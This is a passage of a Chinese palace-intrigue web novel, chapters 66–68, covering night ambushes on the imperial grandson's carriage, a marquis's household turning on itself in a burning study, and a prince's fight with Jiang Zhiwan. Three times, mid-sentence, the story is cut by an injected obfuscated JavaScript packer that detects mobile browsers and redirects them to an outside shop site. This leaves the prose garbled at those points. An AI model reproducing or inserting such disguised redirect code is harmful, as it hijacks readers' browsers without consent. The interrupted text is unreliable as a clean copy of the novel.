沈磐深吸一口气,突然想到,在化隆城里的嵇阑怎么有未卜先知的神通?他怎么能保证他的暗卫加上长缨卫就能摆平这场伏击?若这场伏击本就是忠义侯府的杰作呢?他作为嵇家人监视着本家的动向,当然能提前节制这场埋伏,自然有把握让此路畅通无阻。 这就说得通了。 这就更说得通了! 猎物要揪结于归路,猎人布置陷阱难道不需要事先考量?人手都是有限的,两边下注远不如死磕一条来得划算,那他们只需要让猎物跑向设好陷阱的方向。这样一来,眼前忠义侯府的马车便是最好的诱饵。不明真相者想抄条回城的近路又没有独行的胆量,而忠义侯只认霍辄,现在双方和解,侯府的家丁便是友不是敌,跟着忠义侯走便成了最好的选择。 沈磐捏紧了拳头,“去务本门。” 沈斫再三嘱咐不要落单,如今沈磐下令要和忠义侯的马车分道扬镳,元亨与沈仪璩不免有些担心,但时局千变万化,在行宫里的沈斫可曾想到他们会遇上暗夜择路的难题? 沈磐捻着手指继续想。 如果是这样…… 她总觉哪里漏了点什么,一定还有件重要的事情她还没有想到。 是了,她沈磐是个小心得接近胆小如鼠的人,若真要小心谨慎,她为何不干脆绕到延兴门或者是芳林门?抑或者直接去皇城兵马司!这样根本不需要在旁人设定好的两条路里以命相赌。 沈磐背上一寒。 她知道自己在哪儿了! 永济帝根本不需要给她安排去处,因为他料定了沈斫一定会逼她跟着沈仪璩回城、离开行宫这个是非地,所以永济帝默认她一定在回城的马车上。 好,既然她在马车上,元亨只是个内监,沈仪璩年幼无知,那这马车驶向何方就要由她定夺。 好,她是个谨慎的人,宁可绕远也不愿铤而走险。 好,那马车一定会从务本门入城! 沈磐浑身一颤,顿时觉得眼前一片天旋地转。 所以!真正的诱饵根本不是意外同行的忠义侯,而是她沈磐自己! “停车!” 沈仪璩等都惊诧地看向她,看她大口大口地喘着气、冷汗直冒。 “姑姑……你没事吧?” 沈磐咽下喉咙口的血气,咬牙命令:“折返去靖远门!” 车队缓缓地掉头。 沈仪璩等见沈磐汗如雨下,似还陷在什么难题里不可自拔,他们不敢问,连呼吸都不由自主放得更轻,就怕一个响动刺激到了她,让她从奔溃的边缘坠入疯魔的深渊。 可是,怕什么来什么,一声响哨刺破静夜,沈磐汗毛倒竖,整个人像是中了咒般僵在原地。 “有刺客!” 车外叮叮咣咣,元亨连忙把车窗阖上,按着沈仪璩和团圆一起蹲下,沈仪璩连忙扯了把沈磐,沈磐这才俯下身,刚好躲过破开窗缝冲进来的一支羽箭。 被沈仪璩暖暖的手握着,沈磐突然就回过神来。 车外的拼杀不过一时便彻底平息,今夜护送的长缨卫指挥佥事打马至窗边回禀:“没有活口,还有人暗中相助。” 沈磐这才重新坐起来,听佥事又问:“是继续走还是去靖远门?” 沈磐吐出一口气,“继续走。” 若埋伏在此,既有嵇阑的人手暗中相助,那前方理当一路太平。 车内其他三人也缓缓坐起,元亨拔下车厢上的那支箭,沈仪璩扑到沈磐怀里,小大人哄孩子般替她拍着背,他眼里的那种沉着冷静直让沈磐想起沈仪明。 沈磐心中的愧疚意更盛,她捏捏沈仪璩渐渐褪去婴儿肥的脸蛋,刚有些奇怪马车就算不动,车外这名佥事也该指挥收拾残局的长缨卫去整顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170646|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍、继续向务本门进发,但车外的这佥事就像死了一般一声不吭。 “怎么了?” 依旧没有回应。 沈磐的心又提到了嗓子眼,她与元亨对视一眼,刚要伸手推开窗,元亨便用箭杆挡住了她的手,他用那已经圆钝了的箭头抵在窗棂上轻轻一推。 车窗被推开了。 沈磐稍稍探头,就见那名佥事坐在马上一动不动,随即,在她刚要往外再探出一点的当口,她眼前一道残影闪过,擦着自己赶忙侧过的脸颊飞入车内。 听得一声惨叫,又随即,沈磐左心一痛。 ** “拖累蒲将军了,一回京便遇上这样的劫难。” “王爷说的哪里话,末将就是要为大楚尽忠,何拘是在边关还是在朝廷,又何妨是死是生,只望王爷不要嫌弃末将年老体衰,能给末将这个机会。” 沈斫几不可察地叹息,“听说宁先生还没走,一会儿难免一场恶战,还是先让人给他打个招呼,让他早些离开的好——” “哥……哥!” 沈斫和蒲成骧转身,见兖王从桌上软绵绵地爬起,嘴巴里黏黏糊糊地叫着“哥哥”,不时还嘀咕两声。忽然,他像是被戳中了穴道,整个人抽搐一下清晰过来,大喊着:“皇太孙有危险!” 兖王的魂魄落回躯壳,待他看清眼前站着的就是沈斫,他连忙扑了上去,抱着他的臂弯大声道:“朱甡和江之万密谋,要在宫外杀了皇太孙!皇太孙不能出宫!” 沈斫和蒲成骧脸色古怪地对视一眼,沈斫伸手要拉起跌跪在地上的兖王,蒲成骧说道:“陛下病重,令皇太孙回城过夜,燕王殿下和兖王殿下您留下来侍疾。” 兖王的眼珠子都震了震,“不行!皇太孙会死的!” 沈斫一把将少年人从地上拽起,“他已经出宫了。” 这一声有如晴天劈地,将兖王劈得魂飞魄散,任凭沈斫将他摆木偶似的摆到了椅子上。沈斫刚一撒开,兖王就抓住他的手,“江之万对父皇有怨,不可能心甘情愿地为他卖命,他一定会使阴招……” 沈斫的心情越发复杂,“不论是什么阴招,他一定会来杀我。你若想保命——” 沈斫话还没说完,兖王就一把将他抱住,“哥!我要跟着你!我在你身边,锦麟卫就会保护你……我从来都不想要什么储位,我更不想要骨肉相残!哥,让我跟着你好吗?” 沈斫愣在原地,蒲成骧却敏锐道:“只怕不成,锦麟卫听从霍辄调遣,今日霍辄不在,便服从指挥副使罗正谦的指挥,霍辄应当早就嘱咐过罗正谦,兖王殿下如果说不动罗正谦照样无用。” 兖王脑中空白一片。 是了,舅舅必然叮嘱过,要守好陛下,要看好他,罗正谦是舅舅的心腹,他如何会听从自己的调遣?可是临走前…… 兖王眼前一亮,松开沈斫便浑身上下地翻自己的东西,不妨没了沈斫他便一屁股坐到了地上。顾不上疼,他将自己腰间佩戴的香囊、玉佩一一查看,最终扯下了一只不算扎眼的四方荷包。 “这里面是舅舅不知去哪里给我请的护身符,出门前还让人检查过我有没有戴上,说如果我遇上什么困难,就拿着这个东西去找罗正谦……” 沈斫接过那只荷包,这才看见荷包的系绳是打死的,他按着系绳往蒲成骧的佩刀上一划,即刻从中掏出一枚指甲盖大小的、镶着半边独山翠玉的黄铜印章,上头篆刻着两个字,正是“霍辄”! 蒲成骧大吃一惊:“这是他的私印?” 拿着这块印章自然能号令锦麟卫,所以说它是兖王的护身符一点不错。 兖王大喜过望,“那就用它去找罗正谦!” 沈斫屈指攥住这块印。 实话说,兖王也是他沈斫的护身符,只要拿住了他,永济帝就不敢和他动手,毕竟,如果皇太孙死了、兖王也死了,那他就是活着的唯一的皇子,那永济帝忙活了这么久便是竹篮打水一场空。 沈斫的手心被这印章膈得生疼。 所以其实,这一切劫难的根源在永济帝,而要破局的关键就在兖王。所以其实,只要早早杀了兖王,杀了眼前这个可怜巴巴叫他哥哥、又傻乎乎将自己的倚仗双手奉上的少年,这一切血染的苦难就将迎刃而解。 可是,早先时候,聪明如他的磐磐,怎么都没想过要对兖王下手呢? 沈斫觉得可笑,更觉得可悲。 这无谓的道义仁善害死了那么多人! 他的心就这么钝痛起来。 可是啊。 沈斫看着眼前这少年的眼睛,是一眼望得到底的一方清潭。 杀了他,一切就结束了。 66. 第六十六章 永寂心(五) 长缨卫的通报将沈斫拉回了现实:“律林大总管传陛下的旨意,让燕王殿下去东配殿侍疾。” “知道了,先下去,王爷很快就来。” 兖王道:“罗正谦应当就在父皇身边,那东配殿应当暂时安全。” “罗正谦在哪里不重要,重要的是江之万。” 蒲成骧向兖王解释:“擒贼先擒王,行宫守备之中的府军卫不需在意,只要处置了江之万的阴阳卫,接下来什么都好办。” 沈斫问道:“你都听见什么了?” 兄长严肃的目光一压下来,兖王立时慌乱,可他的脑子就像是吸了水的抹布,拧一点出一点,但细胳膊细腿的已经拧到极致,“他们要杀皇太孙……在宫外,江之万让朱甡去办……” “看来他要集中人手对付王爷!” 兖王揪着自己的发冠,声音比筛子还抖:“还有有有有什么‘背黑锅’,什么‘逆水行舟不进则退’,还有什么朱甡手上没人、但愿意奔走的大有人在,还有什么行宫之内‘刀剑无眼’、两桩案子都栽在江之万头上……” 沈斫捻着手中那枚铜印,反复地念叨“背黑锅”三个字,再听得“大有人在”时,如同被一只手掐住了咽喉,沈斫浑身战栗不止、气息急促:“朱甡将埋伏外包给了别人?!” 蒲成骧也被惊到了,“是啊,朱甡手上怎么可能还有锦麟卫?行宫中的锦麟卫怎么可能再听他的话?那他居然敢空手套白狼地去投靠江之万?” 沈斫踉跄一步撑在桌沿,飞快地捋起思路:“朱甡是霍辄的心腹,不论霍辄知不知情,明面上他都是锦麟卫,甚至代表了霍辄!江之万不想替陛下背上杀人的黑锅,便不能亲自动手杀了璩儿和我,但在行宫里、陛下的眼皮子底下他没法做虚弄假,而璩儿出了宫便有操作的空间,不论是谁动手,都是以朱甡的名义……” 兖王还懵懵懂懂听不明白,可蒲成骧是久经沙场的悍将,于克敌心计上也别有研究,他顿时抓住了关键:“所以,江之万想将刺杀皇太孙的罪嫁祸到霍辄头上,朱甡便在瞌睡时递了枕头,锦麟卫佥事、霍辄心腹的身份就是朱甡最大的资本!” 兖王愣在原地,再听沈斫推断出了今夜于他而言最恐怖的一个真相:“江之万要栽赃霍辄,必不会让霍辄的外甥——你、兖王渔翁得利!” 所以! 三个人的脸上都出现了死尸般的恐惧。 所以江之万不仅要杀了燕王,还要杀了兖王!这曲江行宫不再只是某个人的衣冠冢,更是他们所有人的埋骨处! 阴风过境,沈斫冷汗涔涔。 兖王一个哆嗦摔到地上,抱住沈斫的腰不肯撒手,“他好歹毒的心肠啊!” 蒲成骧眯起了眼,“他要忤逆陛下的旨意,岂不是连陛下都……” 沈斫咬紧牙关。 可是他等来的不是参透真相的毛骨悚然,而是如释重负。 如果江之万真要杀了他们兄弟,再杀了那老不死的永济帝,彻底把控曲江行宫,要什么圣旨写不出来?可是皇帝死了,两个皇子死了,皇太孙也死了,大楚宗庙上下还剩什么?一个姓沈的男子也没有了!他若想扶持雍王远支的小不点当新帝,这必然要遭受文武百官乃至拥兵四境的封疆大吏的讨伐,而沈磐和沈碧是女子,虽有武则天的先例,但她们姐妹两个人业已长成、不好控制。 这样一来,江之万最好的选择就是年幼的皇太孙沈仪璩! 恰恰沈仪璩出宫,不在永济帝的监视下,正适合浑水摸鱼,朱甡不必得手,只需要让化隆上下都知道是锦麟卫,不,是兖王党羽出手劫杀,而皇太孙福大命大、逃过一劫;正好行宫内燕王起兵造反,谋害了永济帝更杀害了幼弟兖王,当然兖王侥幸不死也行,兖王的舅舅犯下这样的罪行,内阁必不允许这样私德有亏、心狠手辣的皇子登基,必定容不下在军中声望极高的霍辄继续呼风唤雨…… 好大一盘棋,多么顺水推舟的盘算! 沈斫突然就怜悯起他那叱诧风云几十年的父皇了,但他的怜悯在纸上还写不完一半,他的心神就被一股名为侥幸、名为狂喜、名为放心的情绪冲击。 跟着皇太孙,那他的磐磐就安全了。 沈磐不会死,也不会有任何风险,凭借她的才能,将来与江之万周旋未必落得下风…… 好…… 太好了! 一想到这些,沈斫顿时有了要去东配殿与江之万大战三百回合的勇气。没有了顾虑,没有了牵挂,死何其容易,他隐约还记起了曾经在长城上与张永一一起做过的马革裹尸、以身殉国的美梦,那时他还舍不下千里之外的亲人,此刻,他只觉得热血沸腾。 他的视线重新落到兖王身上,这个抱着他像小鸡仔离不开老母鸡的少年,正把他当作此生最后的依靠。 就死,或许还能搏生呢? 磐磐,你们都会为我感到骄傲吧? “传我命令!” ** 嵇阀命令走靖远门的那刻,解佳胤就知道自己暴露了。 他攥紧藏在袖管里的匕首,随时都能抵御嵇阀的发难。 但嵇阀的心里素质太好,好到这一路上他都是战战兢兢、如履薄冰,而嵇阀面色如故,靠在车厢壁上兀自醒着酒。 静静等了一刻,身后的山道上连鬼的影子都没有闪过,嵇阀便缓缓睁开眼,“可惜了。” 解佳胤被吓了一跳,但还是强装镇定地询问:“怎么可惜了?” 嵇阀推开窗,黑黢黢的山林月色图便卷轴儿似的铺展眼前,“可惜那么聪明的长平公主,险些成了我嵇家的长媳。” 解佳胤松了松僵直得快要长成一条的脊背。他拿不准阴阳怪气的嵇阀究竟是什么心思,只能勉强糊弄地笑笑。 “不可惜吗?” 解佳胤的筋又绷了起来,但嵇阀摆了态度,他就有了切口,说话也不那么局促:“曹家姑娘有一个出息的长兄,曹菼将来入阁执宰也非不可,这可是清流中的清流,天下哪里去找这样清白的人家?曹家人忠厚守诺、懂得事理,不是那种待价而沽、卖女求荣的人家,顺坡下驴,两相便宜,皆大欢喜,侯爷得曹家女为儿媳,有何可惜?” 嵇阀笑笑:“清流自成一派,向来看不起我们粗鄙武将,若非落寞时先下手为强,后来者皆遭他们的口水殃,不过是投机与偷鸡罢了,将来曹菼有了出息,那就是投机取巧、压中了宝,若曹菼是个草包,那就是偷鸡不成蚀把米。” “有侯爷在,曹菼岂会沉沦下僚呢?曹菼斗胆与忠义侯府攀亲,又怎会甘心碌碌无为呢?” 嵇阀赏着化隆城纸醉金迷的夜色,“这人生的境遇就像化隆的天,变个没完……谁能想得到昔日的穷书生连口饭都吃不上,今日却在曲江行宫里与高门大户把盏言欢?谁又能想到,如今的高门大户,从前也不过西北黄土堆下的一群乞丐呢?” 解佳胤一个激灵,在夜风中再度摸上袖中的匕首。 “人不能忘本啊,你说是吧,解佳胤。” 一瞬。 两瞬。 三瞬。 就在马车停靠于忠义侯府的大门台阶前,解佳胤便被一脚踹出了车厢,狼狈地同他袖中地匕首一起摔在台阶上。 侯府的侍卫大惊失色,却见主人嵇阀跳下车辀,踩着解佳胤的脊梁拎起他被汗湿的后领,硬生生将解佳胤的上身从地上拽了起来,一手暴力地拖着他往府内走,“把嵇阑给我叫回来!其余人谁也不准接近书房!” “侯爷你是要卸磨杀驴吗!” 嵇阀喘着气冷笑:“你喊啊,把全化隆的人都喊出来看看你这个叛主之人!” 解佳胤勒着自己的衣领、扯着自己的腰带,涨红着脸再喊:“我何时背叛过你!嵇阀!卸磨杀驴这招也是被你玩明白了!” 见解佳胤马上就要从自己手中滑脱,嵇阀不给他金蟾脱壳的机会,又是一脚踹着他的后腰、把人踹上了廊柱,被解佳胤这么一撞,那廊柱倒是一动不动□□无比,却是头上的檐瓦跳了跳,扑簌簌淋下陈年旧灰,正好撒到解佳胤脸上。 嵇阀蹲下身,拽着他的发髻将他的脑袋提离了地面,“我听说你暗中调动了人马,要在回城的路上布下伏击,开始只当你要杀我、取而代之,还觉得你挺有血性……” “嘭!嘭!” 解佳胤的额头顿时出现了两处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嵇阑咬牙切齿道:“所以,务本门外的埋伏从来都不是你!安排的这些死士!你不过是长缨卫的开胃菜,不过是江之万的替死鬼。朱甡擅射,他早就等在那里,等着你安排的死士被长缨卫收割,然后趁其不备!” 嵇阀的眼神也狠毒起来:“蠢货,没想到你能这么蠢!” “何止呢,这批死士下午还没落山时就埋伏在了务本门!”嵇阑一步一句,踩上了解佳胤的心口,“那个时候,谁知道皇太孙要留宿行宫呢?你怎么能未卜先知要在出宫路上劫杀皇太孙!” 嵇阑踢翻了他,冷森森的目光像刀片般凌迟在他的琵琶骨,“都是朱甡告诉你的吧?朱甡又不在曲江行宫,更不在陛下身旁,他怎么知道陛下会在傍晚突然下旨让皇太孙回城!” 嵇阀登时明白了。 父子两个对视一眼,在西北战场上杀人如麻的解佳胤都不禁寒颤。 嵇阑大为讥诮:“是陛下!” 他蹲下身拎起解佳胤的脑袋,急迫的字眼像是一根根针扎入解佳胤的指尖,“老皇帝的心机那么深,怎么可能放心让对他怀恨在心的江之万耍手段,所以他找到了早年在军队里就和江之万有过私交的朱甡,恰巧此时朱甡因为办错了差被霍辄冷落,正好给了朱甡投靠阴阳卫的借口!” “这可是帝王的信任!”嵇阑仰头细细咀嚼着这句话,越发觉得酸涩可笑,“朱甡再吃里爬外也不愿背叛霍辄,不然老皇帝就不会选择他!况且,老皇帝怎么可能让霍辄倒台?他还要继续扶持兖王,就一定要借霍辄在行伍中的声名。” 嵇阀耻笑:“所以朱甡找到了你,想着就算东窗事发,霍辄对我有恩,我会心甘情愿地去认这个罪!不,那为什么不直接找到我呢?因为他还知道霍辄对我有恩,所以把你!谋害旧主、忘恩负义当作我忠义侯府脱罪的借口送到眼前!” 解佳胤难以置信,连呼吸都因为心里的动荡而停滞瞬息。 “不信吗?”嵇阑赤红着眼睛继续道:“我听长缨卫说,兖王偷听他们的密谋,呵,傍晚入夜时候的密谋……朱甡发现了这条尾巴,可他只是打晕了兖王而不是杀了他!” 这一环扣一环,一计叠一计,闹到现在才终于清楚,原来出宫不是生路,反倒是条死路! 听着儿子的声音,嵇阀隐约猜到了务本门外的结局。 皇太孙与他实在没有牵连,那他这番痛恨便是为了长平公主沈磐。 这么说,她也死了么? 67. 第六十七章 永寂心(六) 嵇阀还没得到答案,地上的解佳胤便从自己破碎的逻辑里抽离回来,“你们居然串通起来对付我!” 嵇阑只是撒开手,语气厌嫌:“只是你蠢,还贪得无厌。” 解佳胤趴在地上大笑:“我蠢?” 他挣扎着撑起上半身,撩开已经被砸烂了的发冠,阴恻恻地抬头,“这忠义侯府,子要弑父,父要吃子,最蠢的人究竟是谁!” 嵇阀一脚把他的鼻梁踢歪,“你有脸提起这个?若非是你在我耳边蛊惑!” “蛊惑?你心里没这颗种,谁能让你结果!你不就一直担心有人戳穿你的面目,骂你是头忘恩负义的蠢猪!” “若非是你放冷箭,他怎么会死?别告诉我箭是自己飞出去的!” “那又是谁向我倾诉,说那卢兰横行霸道,公然抢了你未过门的妻子!还说自己和她青梅竹马、两相心悦,连自己的女人都保护不了——” “混蛋!” “哈哈哈哈哈,我混蛋?你又恨卢兰又怕卢兰,你还恨你的女人,恨她怎么不为你守节自尽?恨她为什么要和卢兰恩爱情长!” “若非是你在挑拨……” “我挑拨?你要和她破镜重圆,为什么还在意她肚子里的孩子是不是你的种!那必然是啊!是你这个趁他替亡夫守孝时奸污她的贼人的种!接生婆说一句胎大,你想的不是难产,而是瞒报了月份是卢兰的遗腹子!” “你与那个贱女人是不是有奸情?不然你要替嵇阙出头?” “哈哈哈哈哈,好啊,嵇阙是我的儿子,你信还是不信啊?” 嵇阑看着他们兄弟、连襟、主仆开始在黑黢黢洞穴般的书房里殴打谩骂起来,一个搬弄是非敲骨吸髓,一个语气刻毒不留情面,自己这个本深陷其中不能自拔的人却像台下看戏的看客一般,抱着胳膊、慵懒地靠上了门框。 这一桩桩一件件阴私丑闻,早就通过这扇门传遍了忠义侯府,现在侯府中的每个人都知道,忠义侯府,既无忠、更不义! 他却像个没事人一样。 但这种场面早在他心里演练过千万遍,或许有些偏差,或许地上的那个人该是嵇阀,而眼前发疯了似要打死解佳胤的嵇阀则该是他。 但以子弑父,终究不是他母亲想看到的。所以她早早去了,想要用自己的生命终结那一段段说不尽的情仇往事。 可是,他们父子两个还是越走越远,终于走到了今天,一个在屋内变成了禽兽,一个在屋外披上了人皮。 解佳胤一口咬住嵇阀的脖子,嵇阀惨叫一声将人掀开,身边昏暗里的那张八仙椅应声而碎,椅子边上摆着的那盏灯也倏忽翻倒。 今夜的局面,远比他想得好,当是他的母亲天上有知,不愿脏了他的手。 书房里的两人都痛叫起来,嵇阀奋力地撞门、撞窗,但早年他怕有仇雠上门、更怕自己的机密被飞贼窃取,故而这书房的木窗内还夹了一层铁片,窗户常年上锁,窗板上纵横的经纬里尽是整片整片坚固的琉璃。 以嵇阀的德性,书房唯一的钥匙也该紧紧捏在他的手里。 可前些天他们父子“重归旧好”,意欲结盟共同追剿在侯府中挑拨离间的内贼,故而他们两个明面决裂,暗中勾连,嵇阀对他不再设防,还将城外嵇家豢养死士以备不虞的机密都尽数告知。当然,嵇阀怎么会信他,不过是权衡利弊之后的妥协罢了,反正东窗事发,他这个忠义侯世子嵇阑也难逃罪责。 所以,要弄到一副新打的钥匙何其容易? 锁从屋外上,就算他翻出了钥匙也开不得。 何况解佳胤自知难活,必不会让他逃脱。 嵇阑看向藏在檐下阴影里的嵇阙。 他早已被吓得面无人色。 所以这房门,还是要他锁。 嵇阑把钥匙抛向嵇阙。 嵇阙哆嗦着手,几乎接不住那把钥匙。 嵇阑看着他,想到他们两个也曾有过一段兄友弟恭的好时光。 但这小子心里疙瘩着呢,毕竟是被嵇阀熏陶长大的,又是被解佳胤灌输长成的,更有自己这个哥哥“珠玉在前”,贪婪、自私、阴狠、狡诈、霸道、残忍,还有翻云覆雨的野心,他有样学样从未缺过半点。 嵇阑一步走向他,他一步往身后退。 “嵇阙。” 嵇阙抬头。 “今夜之后,你就是忠义侯。” 嵇阙愣在原地。 嵇阑一扫他的身形,还是个少年的壳子,里头住着的却远非少年,但就算里面住了个七旬老人,这一切都和他无关了。 嵇阑甩甩头,转身走了几步,走过那已经被咆哮和热浪吞噬的书房。火光透过琉璃片更闪出了动人心魄的瑰丽,潋滟在他本就宛若天成的脸上,更增添了几分不切实际的梦幻迷离。 他驻足,转身朝他示意,“那么,再见了。” 嵇阙眼前红光烛天,只一人独行天地之间。 ** 东配殿万炬烜赫。 永济帝根本不在这里,这里只有江之万与一干磨刀霍霍的阴阳卫。 沈斫没想到江之万敢不用永济帝当挡箭牌,江之万也没想到沈斫会用兖王当挡箭牌,不,兖王是心甘情愿地要为他挡刀,江之万说不出是惊讶一点还是惊喜一点。 事情更简单了,赶在罗正谦带着锦麟卫支援前一把火烧了这里,他便再无隐患。 蒲成骧也是这么想的,再阴暗点,最好兖王也能交代在这儿,他希望沈斫是这么考虑的,但明显,沈斫的刀对着江之万,而兖王在他身后。 说不上是傻、还是傻! 蒲成骧顾不了这么多,只知道自己今夜是一定要交代在这儿的,配刀便毫不犹豫地顶上江之万的长刀。 他只与狄人打过仗,狄人重骑射和蛮力,全无技巧可言,他只需躲和扛,久而久之他便练就了一身腱子肉而武艺反倒生疏。而江之万明显是他的反面,西南地形复杂,身手稍微差一点,不是交代在陷阱埋伏里,便要昏死在密林瘴气中,江之万是其中佼佼,自然不差。 蒲成骧看出了这场田忌赛马的关键,他堪堪与江之万打个平手,但阴阳卫各个身怀绝技,再加上年前一场动乱中,阴阳卫硕果仅存,比东拼西凑起来的长缨卫普遍强上不少,而沈斫身边还有兖王这个拖油瓶,根本施展不开。 若前去递信的长缨卫找不到罗正谦,这局就没法破,他们将硬生生被拖死在这里。 蒲成骧急得上火,那边兖王被断手断脚吓得也叫个不停,叫得嗓子都快破了,还没完没了居然不晕过去,沈斫带着他退无可退身上挂彩,眼见江之万和蒲成骧缠斗,阴阳卫人数占了优势,江之万的副使一参与其中,蒲成骧便落了下风。 沈斫料理完眼前这双阴阳卫,拽起腿软瘫在地上站不起来的兖王,“去,门口那一队长缨卫归你,你现在就去琼台殿,陛下定然在那里,去找罗正谦!” 永济帝病痛缠身,定然跑不了多远,跑出行宫是不可能的,而他还要掌控全局、盯着江之万的异动,若非在西配殿,那就在附近不远的琼台殿,而西配殿太近,风险太大,永济帝若不想引火烧身,那就只能躲去琼台殿。 “不……哥,死我也要和你死在一起!” 沈斫气急,联合着长缨卫砍翻了又一个阴阳卫,扛起兖王朝门口掠去,“榆木脑袋!我才不想死!长缨卫接近不了,只有你可以面圣!” 见沈斫兄弟两个要跑,江之万卖一个破绽从蒲成骧的刀下脱身,大喊道:“关门!” 沈斫背着人跑不快,眼睁睁看着殿门被血肉模糊的阴阳卫撞上,背上的兖王还在说:“罗正谦一定会来的……见了舅舅的印……” “现在印章在哪里都说不准!” 长缨卫奋力去拉门,身后的阴阳卫便提刀追上,刚破开的门缝一道就又要被人堵上,更让沈斫着急的是,蒲成骧被逼至墙角,成功脱身的江之万踹碎了殿墙前的花架,架子上的花瓶应声坠落,黑色的膏油便从中撒落,沿着地板的缝隙规整地游走,难闻的火药味顿时弥漫。 这时候只需要一点火星,整座东配殿都将变成烤肉的火炉。 突然,门缝中蹿出一支箭,直直朝地上的膏油飞去,连江之万都被吓了一跳。随即,殿门被大力撞开,几道黑影踩着门板冲了进来。沈斫定睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181838|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,这些人穿着夜行衣、蒙着头面,动作迅捷如豹,刹那间就闪到了江之万眼前。 墙角里差点被贯喉的蒲成骧被救了下来,但江之万就像滑脱的鱼,连那些武功高强的黑衣人都拦不住,踩着各种尸首就飞到了沈斫眼前。 沈斫心一横,掀开背上的兖王便冲了过去。兖王疼得骨头都要碎了,一睁眼就看见自己的哥哥被江之万的刀锋压得喘不过气,不过几下险些要被开膛破肚,那些黑衣人都绊不住江之万的步步紧逼。 这是真正的杀神。 黑衣人被江之万砍翻,虽然他身上的伤也不容乐观,但此时此刻,他的刀刚砍断了沈斫的剑,正高歌猛进砍着他的护腕便往下劈。 “好物件!” 江之万猛地一卸力,对着沈斫的腹部一脚踹下,众人只听得“轰隆”一声,还没看见沈斫从墙上滑下,江之万就抡足了力气朝沈斫的脖子砍去。 “叮——” 沈斫再度徒手接刀,江之万知道他的护腕并非等闲之物,便是沈斫的尺骨、桡骨纷纷震碎成了渣,这护腕也只是变了形,故而他不再死磕,刚要顺着他的手调转方向,忽然看见沈斫曲腿似要偷袭下盘,便蹬着已经被膏油净透的地板一跃凌空。 寒芒一点,躲闪不及。 江之万曾如泰山压顶、压在东配殿里所有人心上,此刻,他的身体便也像一座大山土崩瓦解般,摔在地上。 沈斫垂下脸,正看见自己左手护腕下小巧的袖箭盒已经瘪了进去,盒口还卡着一枚因机关变形而飞不出去的袖箭,而刚刚那最最惊险的时刻,正是前一枚侥幸射出的冷箭救了他的性命。 江之万的眼睛还闭上,瞪得老大似是也无法理解向来如羔羊般温顺可欺又任人宰割的燕王,怎么也玩起了阴招。 沈斫看向门口的兖王,气喘吁吁。 ** 东配殿付之一炬,这是从琼台殿里也能看见的盛况。 若不加阻拦,与之砖瓦相连的西配殿也将葬身火海,今夜的风向急变,像是有人登台做法施了巫术,本该高枕无忧的琼台殿岌岌可危,唇亡齿寒,琼台殿没法镇定。很快,三队府军卫便从殿中涌出,恰好撞上率着残兵杀来的燕王等人。 当时黑衣人闯入,沈斫就有了推测,此刻见本该把守行宫要塞的府军卫皆从琼台殿涌出,那时的推测便落成了事实。 永济帝怕江之万玩心眼,更怕死,这是连守宫的府军卫都调到了御前,但火势汹涌,再怕死他也得分出人手前去救火。或者,说不定这就是江之万得手的信号呢?毕竟那么多膏油要运入曲江行宫,永济帝不知道是不可能的,不是他授意、这里面定然也有他的默许,他当然要赶紧前去黄雀在后。 沈斫默数过人头,这三队人便占了带来行宫的泰半府军卫,若再无别意外,此刻的琼台殿就只能在罗正谦的掌控下。 沈斫侧过脸,负伤在身的蒲成骧便大声喊道:“兖王求见!” 蒲成骧不常在京,再有几十级台阶相隔,殿内之人分辨不出是谁,定要派人出来“探查”。 果然,片刻过后,殿门一响,一人按剑而出,朝台阶下的寥寥数人看来。 一瞬。 两瞬。 三瞬。 罗正谦向殿内高喊:“兖王殿下求见!” 琼台殿里终于有了些响动,是欢快的响动。阶上的府军卫不敢拦,沈斫几人便畅通无阻地登上了大殿。 罗正谦粗略打量过他们的伤势,便掏出霍辄的那枚私印递到沈斫眼前,“殿下请。” 沈斫抬手,从护腕里流出、汇在掌心的血便打到了罗正谦手中的铜印上,红、绿、黄三色交缠,显出一丝濒死的昳丽。 罗正谦翻手抛下铜印,即让开道,对他们的刀剑视若无睹。 这是沈斫第一次,以这种形容走入永济帝的所在。 靴底还沾着膏油,更浑着血,他跨过门槛的这一步格外艰难。 恍惚间,他想到古来人臣至巅,也不过“诏书不名、赞拜不名、入朝不趋、剑履上殿”。 他是儿子,也是臣子。 今夜,他也剑履上殿。 68. 第六十八章 永寂心(七) 罗正谦比了一个手势,殿内的锦麟卫不妄动,目送沈斫走向灯火通明的东厢。 隔着屏风,沈斫都能听见永济帝的欢喜:“好!太好了!不愧是霍辄的外甥!当时朕听见他不见了,以为陷落敌手,以为江之万那厮又要耍阴……好,太好了,对得起朕这么多年的经营!” 律林捧着他,他说得更加雀跃,连接下来兖王据东宫、太子娶新人、乃至把霍辄捞回来的说辞借口都准备好了,他探身看着外间,格外期盼幼子的到来。 他应该在想,这真是他此生最高兴的时刻。 人一高兴,就什么病也没有了,况且他还没到宾天的边沿,今夜不过又是他的谎言。 沈斫低下头,那一滴掺着血、沙、油、土、乃至熏着火气的泪便打到了这一尘不染的地板上。 太脏了。 但他一脚踩上去,便是更加肮脏的一个脚印。 